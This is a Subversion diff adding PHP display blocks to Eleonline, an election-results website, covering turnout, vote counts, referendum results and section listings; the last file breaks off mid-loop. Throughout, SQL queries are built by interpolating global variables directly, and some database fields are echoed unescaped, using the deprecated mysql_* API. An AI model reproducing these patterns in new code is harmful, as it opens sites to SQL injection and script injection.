+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/00_affluenze.php	(revision 44)
@@ -0,0 +1,103 @@
+<?php 
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+global $circo,$prefix,$dbi,$id_cons,$genere,$id_circ;
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+// numero sezioni scrutinate
+//		$res2 = mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+		$res2 = mysql_query("select t1.*  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+		$sezioni=mysql_num_rows($res2);
+		
+//echo "select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons' $circos";	
+	
+		
+	
+// barre
+    $l_size = getimagesize("modules/Elezioni/images/barre/leftbar.gif");
+    $m_size = getimagesize("modules/Elezioni/images/barre/mainbar.gif");
+    $r_size = getimagesize("modules/Elezioni/images/barre/rightbar.gif");
+    $l_size2 = getimagesize("modules/Elezioni/images/barre/leftbar2.gif");
+    $m_size2 = getimagesize("modules/Elezioni/images/barre/mainbar2.gif");
+    $r_size2 = getimagesize("modules/Elezioni/images/barre/rightbar2.gif");
+                                                                                                                           
+#    $res = mysql_query("select orario,data  from ".$prefix."_ele_rilaff where id_cons_gen='$id_cons_gen' order  by data desc,orario DESC limit 1", $dbi);
+#x Luciano: quella sopra diventa quella sotto. in rilaff ci sono tutte le date e orari di affluenza mentre in vot_parziale solo quelli inseriri
+# inoltre va messo il desc anche alla data altrimenti il risultato ha la data piu' bassa e l'ora piu' alta
+    $res = mysql_query("select orario,data  from ".$prefix."_ele_voti_parziale where id_cons='$id_cons' order  by data desc,orario desc limit 1", $dbi);
+    if($res){
+
+        while(list($orario,$data) = mysql_fetch_row($res)) {
+        	list ($ore,$minuti,$secondi)=explode(':',$orario);
+        	list ($anno,$mese,$giorno)=explode('-',$data);
+        	$tot_v_m=0;$tot_v_d=0;$tot_t=0;
+	
+  		$res1 = mysql_query("select t3.*  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos  group by t3.id_sez ",$dbi);
+
+		$numero=mysql_num_rows($res1);
+	
+		echo "<br /><div><h5>Ultime Affluenze</h5></div>";
+               echo "<div style=\"text-align:center;color:#ff0000\"><b>"._ORE." $ore,$minuti "._DEL."  $giorno/$mese/$anno</b></div>";
+                                                                                                                             
+
+                
+                
+		
+#modifica del 26giugno 09 per gestione circoscrizionali
+if($genere==0)		$res1 = mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+else
+  		$res1 = mysql_query("select sum(t3.voti_complessivi),0,0  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos",$dbi);
+#fine modifica
+                                                                                                                                       
+
+		
+                                                                                                                             
+                while(list($voti_t, $num_gruppo,$id_gruppo) = mysql_fetch_row($res1)) {
+//  		$res1 = mysql_query(,$dbi);
+//                	$query="select sum(voti_complessivi) from ".$prefix."_ele_voti_parziale where orario='$orario' and data='$data' and id_cons='$id_cons'";
+$query="select sum(t3.voti_complessivi)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+                	if ($genere==0){$query.=" and t3.id_gruppo=$id_gruppo";}
+                	$res_aff=mysql_query($query, $dbi);
+			$voti_numero=mysql_num_rows($res_aff);
+ //               	$query="select sum(maschi+femmine) from ".$prefix."_ele_voti_parziale as t1 , ".$prefix."_ele_sezioni as t2 where t1.id_cons=$id_cons and t1.id_sez=t2.id_sez and orario='$orario' and data='$data'";
+			$query="select sum(t1.maschi+t1.femmine)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+			
+			if ($genere==0){$query.=" and id_gruppo=$id_gruppo";}
+                	$res1234=mysql_query($query, $dbi);
+                	list($tot)=mysql_fetch_row($res1234);
+                	if ($tot)
+                	$perc=number_format($voti_t*100/$tot,2);
+			else {$tot=0;$perc="0.00";}																	echo "<table class=\"td-80\"><tr class=\"bggray\">";
+			if ($genere==0){echo "<td>N.</td>";}
+                	echo "<td><b>"._VOTANTI."</b></td><td><b>"._PERCE."</b></td>";
+                	echo "<td><b>"._SEZIONI."</b></td>";
+			echo "</tr>";
+        		echo "<tr class=\"bggray2\">";
+        		if ($genere==0){echo "<td>$num_gruppo</td>";}
+//        		echo "<td>$voti_t</td><td>$perc %</td><td>$numero</td>
+        		echo "<td>$voti_t</td><td>$perc %</td><td>$numero</td>
+			</tr></table>";
+	
+
+        // barre
+                                                                                                                             
+        	echo "<table><tr><td><table><tr><td>&nbsp;</td><td>
+<img src=\"modules/Elezioni/images/barre/leftbar2.gif\" height=\"$l_size2[1]\" width=\"$l_size2[0]\" alt=\"\" /><img src=\"modules/Elezioni/images/barre/mainbar2.gif\" alt=\"\" height=\"$m_size2[1]\" width=\"". ($perc * 1)."\" /><img src=\"modules/Elezioni/images/barre/rightbar2.gif\" height=\"$r_size2[1]\" width=\"$r_size2[0]\" alt=\"\" /><span class=\"red\"> $perc</span> % <br /></td></tr>\n";
+		
+		$tot_gen=$tot;
+
+
+		echo  "<tr><td></td><td><img src=\"modules/Elezioni/images/barre/leftbar.gif\" height=\"$l_size[1]\" width=\"$l_size[0]\" alt=\"\" /><img src=\"modules/Elezioni/images/barre/mainbar.gif\" alt=\"\" height=\"$m_size[1]\" width=\"".(100 * 1)."\" /><img src=\"modules/Elezioni/images/barre/rightbar.gif\" height=\"$r_size[1]\" width=\"$r_size[0]\" alt=\"\" /> 100 % </td></tr></table>";
+		 echo "</td></tr></table>";
+		 
+	}	
+
+        }
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/01_votanti.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/01_votanti.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/01_votanti.php	(revision 44)
@@ -0,0 +1,108 @@
+<?php 
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file dirrectly...");
+}
+
+global $op, $prefix, $dbi, $offset, $min,$descr_cons,$genere,$votog,$votol,$votoc,$circo, $id_cons,$tipo_cons,$id_comune,$id_cons_gen,$id_circ,$csv,$w,$l,$siteistat,$flash,$tour;
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+
+//if ($genere==0) $tab="ref";elseif($genere=='4' || $votog) $tab="lista";
+if($genere=='4' || $votog) $tab="lista";
+		 else $tab="gruppo";
+if ($genere==0) $tab="ref";
+
+  	$res = mysql_query("select t3.*  from ".$prefix."_ele_voti_".$tab." as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' $circos  group by t3.id_sez ",$dbi);
+	$numero=mysql_num_rows($res);
+	$res = mysql_query("select t1.*  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+	$sezioni=mysql_num_rows($res);
+	
+	if ($numero!=0){
+
+	
+	echo "<h5><b>"._DETTAGLIO." "._VOTIE."</b> - </h5>";
+	echo "<div style=\"text-align:center;\"><i> "._SEZSCRU." $numero "._SU." $sezioni </i></div>";
+	
+
+
+
+	if ($genere!=0) {
+
+	$res = mysql_query("select sum(t1.maschi+t1.femmine)   from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' and validi>0 $circos",$dbi);
+	list($tot_aventi)  = mysql_fetch_row($res);
+
+	$res = mysql_query("select sum(t1.validi+t1.nulli+t1.bianchi+t1.contestati) as tot,
+		sum(t1.validi),sum(t1.nulli),sum(t1.bianchi),sum(t1.contestati), '0', '0', '0'
+ 		from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' and validi>0 $circos",$dbi);
+
+	}else{
+	$res = mysql_query("SELECT sum(maschi+femmine) FROM ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+	list($tot_aventi)  = mysql_fetch_row($res);
+		$res = mysql_query("SELECT  sum(validi+nulli+bianchi+contestati) as tot,
+		sum(validi),sum(nulli),sum(bianchi),sum(contestati), id_gruppo, sum(si), sum(no)
+		from ".$prefix."_ele_voti_ref  where id_cons=$id_cons group by id_gruppo having tot>'0'",$dbi);
+	}
+
+	while (list($tot_votanti,$validi,$nulli,$bianchi,$contestati,$id,$si,$no) = mysql_fetch_row($res)){
+		$tot_votanti=$validi+$bianchi+$nulli+$contestati;
+		if($tot_votanti){
+			if($genere==0 and $validi) {$perc_si=number_format($si*100/$validi,2);$perc_no=number_format(100 - $si*100/$validi,2);}
+			else {$perc_si="0.00"; $perc_no="0.00";}
+		$perc_validi=number_format($validi*100/$tot_votanti,2);
+		$perc_nulli=number_format($nulli*100/$tot_votanti,2);
+		$perc_bianchi=number_format($bianchi*100/$tot_votanti,2);
+		$perc_conte=number_format($contestati*100/$tot_votanti,2);
+		}else {$perc_validi="0.00";$perc_nulli="0.00";$perc_bianchi="0.00";$perc_conte="0.00";}
+		if($tot_aventi)
+			$perc_votanti=number_format($tot_votanti*100/$tot_aventi,2);
+		else $perc_votanti="0.00";
+		$non_votanti=($tot_aventi - $tot_votanti);
+		$perc_non=100-$perc_votanti;
+
+		if ($genere==0) {
+			$resg = mysql_query("SELECT num_gruppo,descrizione from ".$prefix."_ele_gruppo where id_gruppo=$id",$dbi);
+			list($num_gruppo,$descr_gruppo)  = mysql_fetch_row($resg);
+		}
+		  
+
+		    
+		
+		echo "<table bgcolor=\"gray\" width=\"100%\" cellspacing=\"1\">";
+		if ($genere==0) {echo "<br/>Referendum n. <b>[$num_gruppo]</b><br/>";}
+		echo "
+		<tr bgcolor=\"#ffffff\"><td ><b>"._AVENTI."</b></td><td>$tot_aventi</td><td><span class=\"red\">100%</span></td></tr>
+
+		<tr bgcolor=\"#ffffff\"><td><b>"._VOTANTI."</b></td><td>$tot_votanti</td><td><span class=\"red\">$perc_votanti%</span></td></tr>";
+	if ($genere==0){		
+		echo "<tr bgcolor=\"#ffffff\"><td>"._SI."</td><td>$si</td><td><span class=\"red\">$perc_si%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._NO."</td><td>$no</td><td><span class=\"red\">$perc_no%</span></td></tr>";
+		}
+		echo "<tr bgcolor=\"#ffffff\"><td>"._VALIDI."</td><td>$validi</td><td><span class=\"red\">$perc_validi%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._NULLI."</td><td>$nulli</td><td><span class=\"red\">$perc_nulli%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._BIANCHI."</td><td>$bianchi</td><td><span class=\"red\">$perc_bianchi%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._CONTESTATI."</td><td>$contestati</td><td><span class=\"red\">$perc_conte%</span></td></tr>
+
+		</table>";
+
+    }
+}
+
+
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/02_risultati.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/02_risultati.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/02_risultati.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+# lettura feed rss interno
+
+if (!defined('MODULE_FILE')) {
+    //die ("You can't access this file dirrectly...");
+}
+
+global $descr_cons,$circo,$genere;
+
+
+if($genere!='0' && !$circo){ // referendum e circoscrizionali
+    list ($gruppo,$pro)=grupporss();
+    if ($gruppo!='')echo "<h5>Risultati </h5>";
+    //$content .="<div style=\"text-align:left;\"><strong>$descr_cons</strong></div><br/>";
+    for($x=0;$x<count($gruppo);$x++){
+	echo "<strong><big>&middot;</big></strong>".$gruppo[$x]." <b><span style=\"color:#ff0000;\">".$pro[$x] ."%</span></b> <br />\n";
+    }
+
+  //echo $content;
+}
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/04_sezioni.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/04_sezioni.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/04_sezioni.php	(revision 44)
@@ -0,0 +1,77 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file dirrectly...");
+}
+global  $prefix, $dbi,$id_cons_gen;
+$sql = mysql_query("select chiusa  from ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen'",$dbi);
+		list($chiusa) = mysql_fetch_row($sql);
+		if($chiusa!='1') numeri_sezione();
+		//echo $chiusa;
+
+
+
+function numeri_sezione() {
+global  $prefix, $dbi, $circo, $genere,$id_cons_gen,$id_cons,$id_circ,$tipo_cons;
+
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+
+		if ($genere==0) $tab="ref";elseif($genere=='4' || $votog) $tab="lista";
+		 else $tab="gruppo";
+		 
+		# numero sezioni
+		$res = mysql_query("select t1.id_sez,t1.num_sez  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos order by t1.num_sez",$dbi);
+		$max = mysql_num_rows($res);
+		if(!isset($html)) $html='';
+		$html = "\n<table  style=\"margin:0px auto;border=0px; width:90%\"><tr>";
+		
+		$i=0;$id_circ_old=0;$e=0;
+		while(list($sez_id, $sez_num) = mysql_fetch_row($res)) {
+			$i++;
+			/****************************************************************/     
+			/* suddivisione in circoscrizione - attivare se Ãš il caso
+
+			 $result = mysql_query("SELECT id_circ FROM ".$prefix."_ele_sede where id_cons='$id_cons' and id_sede='$sede_id' ", $dbi);
+			list($circ_id) = mysql_fetch_row($result);
+			if($circ_id!=$id_circ_old){ 
+			      $id_circ_old=$circ_id;
+			      $result2 = mysql_query("SELECT descrizione FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' and id_circ='$circ_id' ", $dbi);
+			      list($descrizione) = mysql_fetch_row($result2);
+			      echo "</tr></table><table><tr><td>$descrizione</td></tr></table>";
+			      echo "\n<table align=\"left\" border=\"0\" width=\"90%\"><tr bgcolor=\"$bgcolor1\">";
+			}
+			*/
+			
+			#colora la sezione
+			# verifica se la sezione Ãš scrutinata
+			 $res2 = mysql_query("select *  from ".$prefix."_ele_voti_".$tab." where   id_sez='$sez_id'",$dbi);
+			 $numero=mysql_num_rows($res2); 
+			 if ($numero!=0){$e++;$bgsez="#FFFF00";}else{$bgsez="";}
+			
+
+			
+			
+			$html .="<td style=\"margin:0px auto; text-align:center; width:5%;\" bgcolor=\"$bgsez\"><b>$sez_num</b></td>";
+
+			if (($i%8) ==0) $html .="</tr>\n<tr>";
+		}
+		
+		$html .="</tr></table>\n";
+    // stampa
+    if($e!='0'){
+	  echo "<div><h5>"._SEZSCRU."</h5></div>";
+	  echo "<center> <img  alt=\"Grafico\" src=\"modules/Elezioni/grafici/ledex2.php?sez=$e&max=$max\" /></center>";
+	   
+    echo $html;	}	
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bar_affluenze.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bar_affluenze.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bar_affluenze.php	(revision 44)
@@ -0,0 +1,88 @@
+<?php 
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* widget pie google affluenze 
+  by luc 25 giugno 2009 */
+
+global $circo,$prefix,$dbi,$id_cons,$genere,$id_circ,$id_comune,$id_cons_gen;
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+// numero sezioni scrutinate
+
+		$res2 = mysql_query("select t1.*  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+		$sezioni=mysql_num_rows($res2);
+
+    $res = mysql_query("select orario,data  from ".$prefix."_ele_voti_parziale where id_cons='$id_cons' order  by data desc,orario desc limit 1", $dbi);
+    if($res){
+
+        while(list($orario,$data) = mysql_fetch_row($res)) {
+        	list ($ore,$minuti,$secondi)=explode(':',$orario);
+        	list ($anno,$mese,$giorno)=explode('-',$data);
+        	$tot_v_m=0;$tot_v_d=0;$tot_t=0;
+	
+
+  		$res1 = mysql_query("select t3.*  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos  group by t3.id_sez ",$dbi);
+		$numero=mysql_num_rows($res1);
+	
+		echo "<h5>Ultime Affluenze</h5>";
+               echo "<div style=\"text-align:center;color:#ff0000\"><b>"._ORE." $ore,$minuti "._DEL."  $giorno/$mese/$anno</b></div>";
+                                                                                                                             
+
+                
+ 
+#		$res1 = mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+#modifica del 26giugno 09 per gestione circoscrizionali
+if($genere==0)		$res1 = mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+else
+  		$res1 = mysql_query("select sum(t3.voti_complessivi),0,0  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos",$dbi);
+#fine modifica
+
+
+
+
+                while(list($voti_t, $num_gruppo,$id_gruppo) = mysql_fetch_row($res1)) {
+
+			$query="select sum(t3.voti_complessivi)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+                	if ($genere==0){$query.=" and t3.id_gruppo=$id_gruppo";}
+                	$res_aff=mysql_query($query, $dbi);
+			$voti_numero=mysql_num_rows($res_aff);
+              	
+			$query="select sum(t1.maschi+t1.femmine)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+			
+			if ($genere==0){$query.=" and id_gruppo=$id_gruppo";}
+                	$res1234=mysql_query($query, $dbi);
+                	list($tot)=mysql_fetch_row($res1234);
+                	if ($tot)
+			    $perc=number_format($voti_t*100/$tot,2);
+			else {$tot=0;$perc="0.00";}
+	  
+			$resto=100-$perc;
+			if ($genere==0){echo "<div style=\"text-align:center\">referendum n. $num_gruppo</div";}
+
+			
+
+
+			echo "<center><img src=\"http://chart.apis.google.com/chart?
+			chs=160x160
+			&cht=bvs
+			&chd=t:0,$perc,0
+			&chxt=y
+			&chco=
+			&chl=|$perc% |\"
+			
+			alt=\"Sample chart\" />
+			
+			 <br/><a href=\"modules.php?id_cons_gen=$id_cons_gen&name=Elezioni&id_comune=$id_comune&file=index&op=affluenze_graf\">Tutte le affluenze</a>
+			</center>";
+
+
+	}	
+
+        }
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccocand.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccocand.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccocand.php	(revision 44)
@@ -0,0 +1,13 @@
+<?php
+global $genere,$id_cons_gen,$id_comune,$id_circ;
+if ($genere>2){
+echo "
+
+<h5> Candidati e Liste </h5><p>
+ 		<b><a href=\"modules.php?name=Elezioni&amp;op=gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ\">Lista</a></b><br />
+		Liste e candidati<br />
+		<b><a href=\"modules.php?name=Elezioni&amp;op=candi&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">Candidati</a></b><br />
+		Tutti i candidati<br /></p>
+";
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccogen.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccogen.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccogen.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+/* blocco generale */
+global $genere,$id_cons_gen,$id_comune;
+
+echo " 
+      <h5> 
+        Notizie Utili </h5>
+        
+            <h6><a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=come\">Come si vota</a></h6>
+	    
+
+	    <h6><a href=\"modules.php?name=Elezioni&amp;op=circo&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">Dove si vota</a></h6>
+	    
+            
+	    <h6><a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=servizi\">Servizi Elettorali</a></h6>
+            <h6><a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=numeri \">Numeri Utili</a></h6>
+      	
+";
+?>
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccolink.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccolink.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccolink.php	(revision 44)
@@ -0,0 +1,25 @@
+<?php
+# blocco link
+
+global $genere,$id_cons_gen,$id_cons,$id_comune,$prefix,$dbi;
+$result = mysql_query("select mid, title, preamble, content,editimage from ".$prefix."_ele_link where id_cons='$id_cons' order by mid ", $dbi);
+    if (mysql_num_rows($result) == 0) {
+	return;
+    } else {
+	echo "<h5>"._LINK."</h5><p>";
+	while (list($mid, $title, $preamble,$content,  $editimage) = mysql_fetch_row($result)) {
+  		if ($title != "" && $content != "") {
+			$content = stripslashes($content);
+    			$content = substr($content,0,45);
+			echo "<b><a href=\"$preamble\">
+			$title</a></b><br />
+
+			$content<br/>";
+		}		     
+	}
+	
+   }	
+
+
+?>
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccoref.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccoref.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/bloccoref.php	(revision 44)
@@ -0,0 +1,14 @@
+<?php
+# blocco referendum
+
+
+global $genere,$id_cons_gen,$id_comune,$id_circ;
+
+if ($genere==0){
+echo "
+<h5>Referendum</h5><p>
+ 		<b><a href=\"modules.php?name=Elezioni&amp;op=gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune\">
+		Quesito Referendario</a></b><br />
+		<b><a href=\"modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=affluenze_graf\">Affluenze</a></b><br /></p>";
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/gom_affluenze.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/gom_affluenze.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/gom_affluenze.php	(revision 44)
@@ -0,0 +1,84 @@
+<?php 
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* widget pie google affluenze 
+  by luc 25 giugno 2009 */
+
+global $circo,$prefix,$dbi,$id_cons,$genere,$id_circ,$id_comune,$id_cons_gen;
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+// numero sezioni scrutinate
+
+		$res2 = mysql_query("select t1.*  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+		$sezioni=mysql_num_rows($res2);
+
+    $res = mysql_query("select orario,data  from ".$prefix."_ele_voti_parziale where id_cons='$id_cons' order  by data desc,orario desc limit 1", $dbi);
+    if($res){
+
+        while(list($orario,$data) = mysql_fetch_row($res)) {
+        	list ($ore,$minuti,$secondi)=explode(':',$orario);
+        	list ($anno,$mese,$giorno)=explode('-',$data);
+        	$tot_v_m=0;$tot_v_d=0;$tot_t=0;
+	
+
+  		$res1 = mysql_query("select t3.*  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos  group by t3.id_sez ",$dbi);
+		$numero=mysql_num_rows($res1);
+	
+		echo "<h5>Ultime Affluenze</h5>";
+               echo "<div style=\"text-align:center;color:#ff0000\"><b>"._ORE." $ore,$minuti "._DEL."  $giorno/$mese/$anno</b></div>";
+                                                                                                                             
+
+                
+ 
+#		$res1 = mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+ #modifica del 26giugno 09 per gestione circoscrizionali
+if($genere==0)		$res1 = mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+else
+  		$res1 = mysql_query("select sum(t3.voti_complessivi),0,0  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos",$dbi);
+#fine modifica
+                                                                                                                                      
+		
+		
+		
+                                                                                                                             
+                while(list($voti_t, $num_gruppo,$id_gruppo) = mysql_fetch_row($res1)) {
